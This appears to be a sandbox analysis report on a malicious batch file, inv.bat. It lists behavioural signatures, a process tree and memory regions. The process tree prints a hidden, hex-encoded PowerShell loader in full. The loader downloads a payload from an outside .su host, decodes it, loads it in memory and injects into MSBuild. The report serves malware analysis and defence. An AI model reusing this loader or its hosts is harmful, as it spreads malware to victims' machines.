Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    31/03/2026, 13:18

General

  • Target
    inv.bat
  • Size 554KB
  • Sample260331-qj13csax9j
  • SHA256 7a2cb732e58e653ebc09553930861bc08d76875cb8d2d1b0c87565282e74eaa5
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\inv.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3876
    • C:\Windows\system32\chcp.com
      chcp 65001
      2⤵
        PID:2756
      • C:\Windows\system32\conhost.exe
        conhost.exe --headless "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoP -W Hidden -Exec Bypass -Command "$h='24736163636861726F6C797469633D2768747470733A2F2F7661756C743838782E7365637572652D656666696369656E74322E73752F4D53495F3035343630302E706E67273B0D0A24726164696F6772617068793D4E65772D4F626A656374204E65742E576562436C69656E743B0D0A246D6172747972646F6D733D24726164696F6772617068792E446F776E6C6F6164446174612824736163636861726F6C79746963293B0D0A246E616E6F736C69743D5B546578742E456E636F64696E675D3A3A555446382E476574537472696E6728246D6172747972646F6D73293B0D0A244D6972616E64697A65643D27494E2D273B0D0A2473616C75746172656D3D272D696E31273B0D0A246272657461733D246E616E6F736C69742E496E6465784F6628244D6972616E64697A6564293B0D0A24756E616C6C6961626C653D246E616E6F736C69742E4C617374496E6465784F66282473616C75746172656D293B0D0A69662824627265746173202D6571202D31202D6F722024756E616C6C6961626C65202D6571202D31297B0D0A72657475726E7D0D0A3B0D0A2461646A7573746F72733D246272657461732B244D6972616E64697A65642E4C656E6774683B0D0A2473636973736F7269756D3D246E616E6F736C69742E537562737472696E67282461646A7573746F72732C24756E616C6C6961626C652D2461646A7573746F7273293B0D0A2468756C6C6F636B3D2473636973736F7269756D2E5265706C616365282723272C274127292E546F43686172417272617928293B0D0A5B41727261795D3A3A52657665727365282468756C6C6F636B293B0D0A2461706C7973696F707572707572696E3D2468756C6C6F636B202D6A6F696E2027273B0D0A5B627974655B5D5D24696E73616C75746172793D5B436F6E766572745D3A3A46726F6D426173653634537472696E67282461706C7973696F707572707572696E293B0D0A2468657465726F646F786C793D5B417070446F6D61696E5D3A3A43757272656E74446F6D61696E2E4C6F61642824696E73616C7574617279293B0D0A246865616464726573733D40282768747470733A2F2F7661756C743838782E7365637572652D656666696369656E74322E73752F696D675F3036303531352E706E67272C2730272C27433A5C55736572735C5075626C69635C272C27454B4D59414B7243524A272C274D534275696C64272C27272C274D534275696C64272C2730272C2755524C272C27433A5C55736572735C5075626C69635C272C27454B4D59414B7243524A272C27626174272C2735272C2731272C27505034633432544A5741272C2730272C27272C27272C2727293B0D0A7472797B0D0A2473796D70686F6E696F75733D2468657465726F646F786C792E47657454797065282746696265722E50726F6772616D27293B0D0A24464C4F53533D2473796D70686F6E696F75732E4765744D6574686F6428274D61696E27293B0D0A24464C4F53532E496E766F6B6528246E756C6C2C5B6F626A6563745B5D5D24686561646472657373297D0D0A63617463687B0D0A7D0D0A';$b=for($i=0;$i -lt $h.Length;$i+=2){[Convert]::ToByte($h.Substring($i,2),16)};IEX([System.Text.Encoding]::UTF8.GetString($b))"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1368
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoP -W Hidden -Exec Bypass -Command "$h='24736163636861726F6C797469633D2768747470733A2F2F7661756C743838782E7365637572652D656666696369656E74322E73752F4D53495F3035343630302E706E67273B0D0A24726164696F6772617068793D4E65772D4F626A656374204E65742E576562436C69656E743B0D0A246D6172747972646F6D733D24726164696F6772617068792E446F776E6C6F6164446174612824736163636861726F6C79746963293B0D0A246E616E6F736C69743D5B546578742E456E636F64696E675D3A3A555446382E476574537472696E6728246D6172747972646F6D73293B0D0A244D6972616E64697A65643D27494E2D273B0D0A2473616C75746172656D3D272D696E31273B0D0A246272657461733D246E616E6F736C69742E496E6465784F6628244D6972616E64697A6564293B0D0A24756E616C6C6961626C653D246E616E6F736C69742E4C617374496E6465784F66282473616C75746172656D293B0D0A69662824627265746173202D6571202D31202D6F722024756E616C6C6961626C65202D6571202D31297B0D0A72657475726E7D0D0A3B0D0A2461646A7573746F72733D246272657461732B244D6972616E64697A65642E4C656E6774683B0D0A2473636973736F7269756D3D246E616E6F736C69742E537562737472696E67282461646A7573746F72732C24756E616C6C6961626C652D2461646A7573746F7273293B0D0A2468756C6C6F636B3D2473636973736F7269756D2E5265706C616365282723272C274127292E546F43686172417272617928293B0D0A5B41727261795D3A3A52657665727365282468756C6C6F636B293B0D0A2461706C7973696F707572707572696E3D2468756C6C6F636B202D6A6F696E2027273B0D0A5B627974655B5D5D24696E73616C75746172793D5B436F6E766572745D3A3A46726F6D426173653634537472696E67282461706C7973696F707572707572696E293B0D0A2468657465726F646F786C793D5B417070446F6D61696E5D3A3A43757272656E74446F6D61696E2E4C6F61642824696E73616C7574617279293B0D0A246865616464726573733D40282768747470733A2F2F7661756C743838782E7365637572652D656666696369656E74322E73752F696D675F3036303531352E706E67272C2730272C27433A5C55736572735C5075626C69635C272C27454B4D59414B7243524A272C274D534275696C64272C27272C274D534275696C64272C2730272C2755524C272C27433A5C55736572735C5075626C69635C272C27454B4D59414B7243524A272C27626174272C2735272C2731272C27505034633432544A5741272C2730272C27272C27272C2727293B0D0A7472797B0D0A2473796D70686F6E696F75733D2468657465726F646F786C792E47657454797065282746696265722E50726F6772616D27293B0D0A24464C4F53533D2473796D70686F6E696F75732E4765744D6574686F6428274D61696E27293B0D0A24464C4F53532E496E766F6B6528246E756C6C2C5B6F626A6563745B5D5D24686561646472657373297D0D0A63617463687B0D0A7D0D0A';$b=for($i=0;$i -lt $h.Length;$i+=2){[Convert]::ToByte($h.Substring($i,2),16)};IEX([System.Text.Encoding]::UTF8.GetString($b))"
          3⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4740
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C copy *.bat "C:\Users\Public\EKMYAKrCRJ.bat"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:4332
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:3572
    • C:\Windows\system32\wscript.exe
      wscript.exe
      1⤵
        PID:3672

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            __PSScriptPolicyTest_cozzksb1.zdi.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cozzksb1.zdi.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            memory/3572-31-0x00000000066F0000-0x0000000006782000-memory.dmp

            memory/3572-34-0x00000000053E0000-0x00000000054A1000-memory.dmp

            memory/3572-72-0x0000000005050000-0x00000000052DB000-memory.dmp

            memory/3572-57-0x0000000005050000-0x00000000052DB000-memory.dmp

            memory/3572-51-0x0000000005050000-0x00000000052DB000-memory.dmp

            memory/3572-48-0x0000000005050000-0x00000000052DB000-memory.dmp

            memory/3572-39-0x0000000005050000-0x00000000052DB000-memory.dmp

            memory/3572-33-0x0000000005050000-0x00000000052DB000-memory.dmp

            memory/3572-35-0x00000000054B0000-0x00000000054C8000-memory.dmp

            memory/3572-23-0x0000000000400000-0x00000000004B2000-memory.dmp

            memory/3572-32-0x0000000006D40000-0x00000000072E6000-memory.dmp

            memory/3572-28-0x00000000055D0000-0x00000000056BA000-memory.dmp

            memory/4740-14-0x0000000006AE0000-0x0000000006AFE000-memory.dmp

            memory/4740-16-0x0000000008450000-0x0000000008ACA000-memory.dmp

            memory/4740-2-0x0000000003690000-0x00000000036A0000-memory.dmp

            memory/4740-1-0x0000000003570000-0x00000000035A6000-memory.dmp

            memory/4740-18-0x00000000080C0000-0x00000000081E2000-memory.dmp

            memory/4740-27-0x0000000006430000-0x000000000652E000-memory.dmp

            memory/4740-26-0x0000000005B80000-0x0000000005C41000-memory.dmp

            memory/4740-17-0x0000000007030000-0x000000000704A000-memory.dmp

            memory/4740-22-0x0000000008D70000-0x0000000008E0C000-memory.dmp

            memory/4740-19-0x00000000058F0000-0x00000000058FA000-memory.dmp

            memory/4740-15-0x0000000006B80000-0x0000000006BCC000-memory.dmp

            memory/4740-21-0x0000000003690000-0x00000000036A0000-memory.dmp

            memory/4740-13-0x00000000065B0000-0x0000000006907000-memory.dmp

            memory/4740-0-0x0000000003690000-0x00000000036A0000-memory.dmp

            memory/4740-6-0x00000000063C0000-0x0000000006426000-memory.dmp

            memory/4740-5-0x0000000006350000-0x00000000063B6000-memory.dmp

            memory/4740-4-0x0000000005B50000-0x0000000005B72000-memory.dmp

            memory/4740-3-0x0000000005D20000-0x000000000634A000-memory.dmp